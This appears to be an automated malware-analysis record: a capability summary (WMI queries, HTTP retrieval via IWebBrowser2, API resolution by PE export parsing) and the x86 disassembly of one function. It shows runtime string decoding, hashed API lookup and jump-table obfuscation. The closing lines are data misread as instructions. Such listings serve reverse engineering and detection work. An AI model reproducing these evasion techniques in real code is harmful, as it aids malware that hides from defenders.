Function at 0x43f420
Capabilities:
Connect to wmi namespace via wbemlocator
Get http document via iwebbrowser2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xa8
mov esi, dword [0x455718]
mov dword [esp + 0x30], 0x63d16185
mov dword [esp + 0x34], 0x67f565ed
mov dword [esp + 0x38], 0x5bff59cc
mov dword [esp + 0x3c], 0x5f9a5dc1
mov dword [esp + 0x40], 0x53cb51c2
mov dword [esp + 0x44], 0x57f355c2
mov dword [esp + 0x48], 0x4b4a49ad
mov byte [esp + 0x4c], 0
mov dword [esp + 0x7c], 0
mov eax, dword [esp + 0x7c]
cmp eax, 0x1c
ja 0x43f4bb
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x7c]
movzx eax, byte [esp + eax + 0x30]
push dword [esp + 0x7c]
push eax
call fcn.00442eb0
add esp, 8
mov ecx, dword [esp + 0x7c]
mov byte [esp + ecx + 0x30], al
inc dword [esp + 0x7c]
mov eax, dword [esp + 0x7c]
cmp eax, 0x1d
jb 0x43f490
lea eax, [esp + 0x8c]
lea edi, [esp + 0x7c]
lea ebx, [esp + 0x30]
push eax
push 8
push edi
push 0xd
push ebx
push 0
call esi
shr eax, 0x1f
jmp dword [eax*4 + 0x452ee8]
mov dword [esp + 0x7c], 0x3a0043
mov dword [esp + 0x80], 0x5c
mov dword [esp + 0x98], 0
mov dword [esp + 0x94], 0
mov dword [esp + 0x90], 0
mov dword [esp + 0x8c], 0
mov dword [esp + 0x28], 0
lea eax, [esp + 0x28]
push eax
push 0x44ccd0
push 1
push 0
push 0x44cce0
call dword [sym.imp.ole32.dll_CoCreateInstance]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x452ef0]
mov dword [esp + 0x30], 0xd98bdb92
mov dword [esp + 0x34], 0xdd8adf89
mov dword [esp + 0x38], 0xd197d3b0
mov dword [esp + 0x3c], 0xd585d78f
mov dword [esp + 0x40], 0xe9dcebbe
mov word [esp + 0x44], 0xefe8
mov dword [esp + 0x46], 0
mov byte [esp + 0x4a], 0
mov dword [esp + 8], 0
mov eax, dword [esp + 8]
cmp eax, 0x1a
ja 0x43f5cb
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 8]
movzx eax, byte [esp + eax + 0x30]
push dword [esp + 8]
push eax
call fcn.00442f20
add esp, 8
mov ecx, dword [esp + 8]
mov byte [esp + ecx + 0x30], al
inc dword [esp + 8]
mov eax, dword [esp + 8]
cmp eax, 0x1b
jb 0x43f5a0
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, eax
mov eax, dword [esp + 0x28]
mov ecx, dword [eax]
lea edx, [esp + 0x24]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push esi
push eax
call dword [ecx + 0xc]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x452f08]
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x40]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x452f10]
mov dword [esp + 0x30], 0x41b547bd
mov dword [esp + 0x34], 0x4d4243b4
mov word [esp + 0x38], 0
mov byte [esp + 0x3a], 0
mov dword [esp + 8], 0
mov eax, dword [esp + 8]
cmp eax, 0xa
ja 0x43f67b
nop
nop
nop
mov eax, dword [esp + 8]
movzx eax, byte [esp + eax + 0x30]
push dword [esp + 8]
push eax
call fcn.00442f70
add esp, 8
mov ecx, dword [esp + 8]
mov byte [esp + ecx + 0x30], al
inc dword [esp + 8]
mov eax, dword [esp + 8]
cmp eax, 0xb
jb 0x43f650
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esp + 0x6c], eax
mov dword [esp + 0x30], 0x972b9937
mov dword [esp + 0x34], 0x932f9520
mov dword [esp + 0x38], 0x8f22912f
mov dword [esp + 0x3c], 0x8b5c8d6c
mov dword [esp + 0x40], 0x873c8968
mov dword [esp + 0x44], 0x8331852a
mov dword [esp + 0x48], 0x7f9e8135
mov dword [esp + 0x4c], 0x7be37dd7
mov dword [esp + 0x50], 0x77b979ea
mov dword [esp + 0x54], 0x73d175ba
mov dword [esp + 0x58], 0x6fd771ce
mov dword [esp + 0x5c], 0x6bc56ddf
mov word [esp + 0x60], 0x6968
mov dword [esp + 0x62], 0
mov word [esp + 0x66], 0
mov dword [esp + 8], 0
mov eax, dword [esp + 8]
cmp eax, 0x37
ja 0x43f73b
nop
nop
nop
mov eax, dword [esp + 8]
movzx eax, byte [esp + eax + 0x30]
push dword [esp + 8]
push eax
call fcn.00442fc0
add esp, 8
mov ecx, dword [esp + 8]
mov byte [esp + ecx + 0x30], al
inc dword [esp + 8]
mov eax, dword [esp + 8]
cmp eax, 0x38
jb 0x43f710
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx]
mov dword [esp + 0x20], edx
lea edx, [esp + 0x78]
push edx
push 0
push 0x30
mov dword [esp + 0xac], eax
push eax
push dword [esp + 0x7c]
push ecx
mov eax, dword [esp + 0x38]
call dword [eax + 0x50]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x452f18]
mov dword [esp + 0x70], 0
mov eax, dword [esp + 0x78]
mov ecx, dword [eax]
lea edx, [esp + 0x70]
lea edi, [esp + 0x74]
push edx
push edi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
setns cl
cmp eax, 1
setne al
cmp dword [esp + 0x70], 0
setne dl
and dl, al
and dl, cl
movzx eax, dl
jmp dword [eax*4 + 0x452f20]
lea eax, [esp + 8]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov edi, dword [esp + 0x74]
mov dword [esp + 0x30], 0x51a94f99
mov dword [esp + 0x34], 0x55b953a2
mov dword [esp + 0x38], 0x59ba57b7
mov dword [esp + 0x3c], 0x5dad5b96
mov dword [esp + 0x40], 0x61bc5fb3
mov dword [esp + 0x44], 0x65906387
mov dword [esp + 0x48], 0x6764
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 0x1b
ja 0x43f83b
nop
nop
mov eax, dword [esp + 4]
movzx eax, byte [esp + eax + 0x30]
push dword [esp + 4]
push eax
call fcn.00443050
add esp, 8
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x30], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0x1c
jb 0x43f810
mov eax, dword [edi]
push 0
push 0
lea ecx, [esp + 0x10]
push ecx
push 0
push ebx
push edi
call dword [eax + 0x10]
test eax, eax
setns al
cmp word [esp + 8], 8
sete cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x452f28]
push dword [esp + 0x10]
call dword [sym.imp.OLEAUT32.dll_VariantInit]
mov edx, dword [esp + 0x10]
mov dword [esp + 0x2c], eax
lea eax, [edx + eax*2]
mov dword [esp + 0x20], eax
movzx ecx, word [edx]
test cx, cx
mov dword [esp + 0x18], edx
je 0x43f8c8
xor edi, edi
mov eax, edx
jmp 0x43f8a0
add edi, edx
movzx ecx, word [eax + 2]
add eax, 2
test cx, cx
je 0x43f8ca
cmp eax, dword [esp + 0x20]
jae 0x43f8ca
movzx ebx, cx
cmp ebx, 0x800
mov ecx, 3
sbb ecx, 0
mov edx, 1
cmp ebx, 0x80
jb 0x43f892
mov edx, ecx
jmp 0x43f892
xor edi, edi
lea eax, [edi + 1]
mov dword [esp + 0x68], eax
push eax
call fcn.0040ca90
add esp, 4
mov dword [esp + 0x1c], eax
test edi, edi
mov ecx, dword [esp + 0x18]
jle 0x43f9b9
mov eax, dword [esp + 0x1c]
cmp dword [esp + 0x2c], 0
jle 0x43f9b9
mov eax, dword [esp + 0x1c]
lea edx, [eax + edi]
mov dword [esp + 0x2c], edx
add dword [esp + 0x68], eax
add ecx, 2
movzx edx, word [ecx - 2]
test dx, dx
je 0x43f9b9
cmp dx, 0x7f
ja 0x43f927
mov byte [eax], dl
mov ebx, 1
jmp 0x43f9a2
mov dword [esp + 0x18], ecx
mov ecx, eax
not ecx
add ecx, dword [esp + 0x68]
movzx ebx, dx
cmp ecx, 2
jb 0x43f961
cmp ebx, 0x7ff
ja 0x43f961
mov ecx, edx
shr ecx, 6
add cl, 0xc0
mov byte [eax], cl
and dl, 0x3f
or dl, 0x80
mov byte [eax + 1], dl
mov ebx, 2
mov ecx, dword [esp + 0x18]
jmp 0x43f9a2
mov dword [esp + 0x9c], ebx
xor ebx, ebx
cmp ecx, 3
mov ecx, dword [esp + 0x18]
jb 0x43f9a2
mov ebx, dword [esp + 0x9c]
mov ecx, ebx
shr ecx, 0xc
or cl, 0xe0
mov byte [eax], cl
mov ecx, dword [esp + 0x18]
shr ebx, 6
and bl, 0x3f
or bl, 0x80
mov byte [eax + 1], bl
and dl, 0x3f
or dl, 0x80
mov byte [eax + 2], dl
mov ebx, 3
add eax, ebx
cmp eax, dword [esp + 0x2c]
jae 0x43f9b9
mov edx, ecx
add ecx, 2
cmp edx, dword [esp + 0x20]
jb 0x43f90b
mov byte [eax], 0
xor ecx, ecx
xor eax, eax
cmp ecx, 4
setb al
jmp dword [eax*4 + 0x452f30]
mov eax, ecx
or eax, 4
mov edx, ecx
and edx, 4
imul eax, edx
xor edx, 4
mov ebx, ecx
and ebx, 0xfffffffb
imul ebx, edx
add eax, dword [esp + 0x1c]
mov eax, dword [ebx + eax]
mov dword [esp + ecx*4 + 0x8c], eax
mov eax, edi
not eax
and eax, 4
and edi, 0xfffffffb
sub edi, eax
xor eax, eax
cmp edi, 4
setb al
jmp dword [eax*4 + 0x452f38]
inc ecx
xor eax, eax
cmp ecx, 4
setb al
jmp dword [eax*4 + 0x452f30]
jmp dword [0x452f4c]
lea ebx, [esp + 0x30]
jmp dword [0x452f50]
push dword [esp + 0x1c]
call fcn.0040caa0
add esp, 4
lea eax, [esp + 8]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x74]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x78]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea edi, [esp + 0x7c]
push dword [esp + 0x6c]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp + 0xa0]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [case.0x43f5f5.2]
nop
nop
nop
nop
nop
jmp eax
jmp dword [0x452f6c]
mov eax, dword [esp + 0x24]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x24]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp dword [0x452f70]
jmp dword [0x452f7c]
mov dword [esp + 0x30], 0
push 0xd2e7977e
push dword [0x455710]
call fcn.00448a80
add esp, 8
push 0
push 0
push 0
push 0
push ebx
push 0
push 0
push edi
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x452f88]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov esi, dword [ebp + 8]
mov eax, dword [esp + 0x30]
mov dword [esp + 0x8c], eax
xor edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [case.0x43f76e.32]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
xor eax, eax
cmp edi, 4
setb al
jmp dword [eax*4 + 0x452fa0]
xor ecx, ecx
test edi, edi
setne cl
mov eax, edi
jmp dword [ecx*4 + 0x452fa8]
xor ecx, ecx
cmp dword [esp + edi*4 + 0x8c], 0
sete cl
mov eax, edi
jmp dword [ecx*4 + 0x452fb0]
lea eax, [edi - 1]
imul eax, dword [esp + eax*4 + 0x8c], 0x1a5845
add eax, 0xebde8a13
mov dword [esp + edi*4 + 0x8c], eax
mov ebx, 0xffffffff
push 0x10
push 9
push esi
push eax
call fcn.004364f0
add esp, 0x10
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [eax + ebx + 1], 0
lea ebx, [ebx + 1]
jne case.default.0x43fbc0
mov ecx, ebx
and ecx, 0xfffffff7
not ebx
and ebx, 8
sub ecx, ebx
xor ebx, ebx
cmp ecx, 0
setne bl
xor edx, edx
jmp dword [ebx*4 + 0x452fb8]
mov byte [eax + edx - 1], 0x30
dec edx
xor ebx, ebx
cmp ecx, edx
setne bl
jmp dword [ebx*4 + 0x452fb8]
add esi, 8
inc edi
jmp 0x43fb20
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x28]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x28]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp dword [0x452f80]
int3
xor eax, eax
jmp 0x43ff67
mov ebp, dword [esp + 0x3c]
jmp dword [0x452fdc]
push 0x400
call fcn.004431a0
add esp, 4
mov esi, eax
mov edi, dword [esp + 0x20]
mov dword [esp + 4], 0x282b2a25
mov dword [esp + 8], 0
mov dword [esp + 0x14], 0
mov eax, dword [esp + 0x14]
cmp eax, 7
ja 0x43fccb
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x14]
movzx eax, byte [esp + eax + 4]
push dword [esp + 0x14]
push eax
call fcn.00442a20
add esp, 8
mov ecx, dword [esp + 0x14]
mov byte [esp + ecx + 4], al
inc dword [esp + 0x14]
mov eax, dword [esp + 0x14]
cmp eax, 8
jb 0x43fca0
mov eax, dword [0x45571c]
test eax, eax
je case.0x43f76e.49
mov ecx, dword [esp + 4]
xor edx, edx
mov ebx, dword [0x455720]
cmp dword [ebx + edx*8], 0xa70a987f
je 0x43fcf0
inc edx
cmp eax, edx
jne 0x43fce0
jmp case.0x43f76e.49
mov eax, dword [ebx + edx*8 + 4]
cmp eax, ecx
je case.0x43f76e.49
lea ecx, [esp + 0x14]
push 0x2f
push 0x400
push esi
push ecx
push edi
push 5
push dword [0x455724]
push eax
call fcn.00445bb0
add esp, 0x20
jmp case.0x43f76e.49
jmp dword [0x452fe4]
push 0x400
call fcn.004431a0
add esp, 4
mov esi, eax
mov edi, dword [esp + 0x20]
mov dword [esp + 4], 0x282b2a25
mov dword [esp + 8], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 7
ja 0x43fd86
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 4]
push dword [esp]
push eax
call fcn.00442a20
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 4], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 8
jb 0x43fd60
mov eax, dword [esp + 4]
mov ecx, dword [0x45571c]
test ecx, ecx
je 0x43fd20
xor edx, edx
mov ebx, dword [0x455720]
nop
nop
nop
nop
cmp dword [ebx + edx*8], 0xa70a987f
je 0x43fdc0
inc edx
cmp ecx, edx
jne 0x43fda0
jmp 0x43fd20
mov ecx, dword [ebx + edx*8 + 4]
cmp ecx, eax
je 0x43fd20
lea eax, [esp + 0x14]
push 0x2f
push 0x400
push esi
push eax
push edi
push 5
push dword [0x455724]
push ecx
call fcn.00445bb0
add esp, 0x20
jmp dword [0x452fe4]
not eax
shr eax, 0x1f
xor edi, edi
mov dword [esp + 0x1c], 0
jmp dword [eax*4 + 0x452fe8]
push esi
call fcn.00443220
add esp, 4
mov esi, dword [esp + 0x20]
mov dword [esp + 4], 0x282b2a25
mov dword [esp + 8], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 7
ja 0x43fe66
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 4]
push dword [esp]
push eax
call fcn.00442a20
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 4], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 8
jb 0x43fe40
mov eax, dword [0x45571c]
test eax, eax
je 0x43ff61
mov ecx, dword [esp + 4]
xor edx, edx
mov edi, dword [0x455720]
nop
cmp dword [edi + edx*8], 0x7e776f1
je 0x43ff47
inc edx
cmp eax, edx
jne 0x43fe80
jmp 0x43ff61
xor eax, eax
cmp edi, dword [esi]
setb al
mov dword [esp + 0x1c], 0
jmp dword [eax*4 + 0x452ff0]
mov eax, dword [esi + edi*4 + 4]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea ecx, [esp + 4]
push 0
push eax
call fcn.004434b0
xor eax, eax
mov ecx, ebp
neg ecx
mov ebx, ebp
mov ebp, dword [esp + 0x40]
sbb eax, ebp
setl al
movzx eax, al
shl eax, 0x14
or eax, 1
lea ecx, [esp + 4]
push eax
call fcn.004434d0
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x452ff8]
mov eax, dword [edi + edx*8 + 4]
cmp eax, ecx
je 0x43ff61
push esi
push 1
push dword [0x455724]
push eax
call fcn.00445bb0
add esp, 0x10
mov eax, dword [esp + 0x1c]
and al, 1
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret
hlt
cli
inc ebx
add byte [ebp - 9], dh
inc ebx
add byte [ecx - 6], ah
inc ebx
add byte [esi + 0x4c0043f7], dh
cli
inc ebx
add byte [edi - 8], ah
inc ebx
add byte [eax], dh
cli
inc ebx
add al, dl
stc
inc ebx
add byte [ecx], dl
cli
inc ebx
add byte [eax], dh
cli
inc ebx
add byte [eax], dh
cli
inc ebx
add byte [eax], dh
cli
inc ebx
add byte [eax], dh
cli
inc ebx
add byte [esi], dh
cli
inc ebx
add byte [eax - 6], al
inc ebx
add byte [edx + edi*8 + 0x43], cl
add byte [eax - 0x6fffbc06], dl
cli
inc ebx
add byte [edx - 0x6fffbc06], dl
cli
inc ebx
add byte [eax - 0x4fffbc06], bl
cli
inc ebx
add al, al
cli
inc ebx
add byte [eax - 0x12ffbc06], dh
sti
inc ebx
add dh, bh
sti
inc ebx
add dh, al
cli
inc ebx
add ch, ch
sti
inc ebx
add bh, bh
cli
inc ebx
add byte [edi], al
sti
inc ebx
add byte [eax], dh
sti
inc ebx
add byte [eax], dh
sti
inc ebx
add byte [edx], dh
sti
inc ebx
add byte [eax], dh
sti
inc ebx
add bh, bh
cli
inc ebx
add byte [ecx - 5], al
inc ebx
add byte [edx - 5], ch
inc ebx
add byte [ecx - 5], dl
inc ebx
add byte [edx - 5], ch
inc ebx
add byte [edi - 5], ah
inc ebx
add ah, ah
sti
inc ebx
add al, dl
sti
inc ebx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add al, dl
sti
inc ebx
add byte [ecx], al
add byte [eax], al
add byte [ebp - 4], cl
inc ebx
add byte [esp + edi*8 + 0x43], dl
add byte [esi - 4], bl
inc ebx
add byte [esi], ah
std
inc ebx
add byte [esi], ah
std
inc ebx
add cl, dh
std
inc ebx
add byte [edi], al
inc byte [ebx]
xchg edi, eax
inc byte [ebx]
pop es
inc byte [ebx]
retf 0x43fe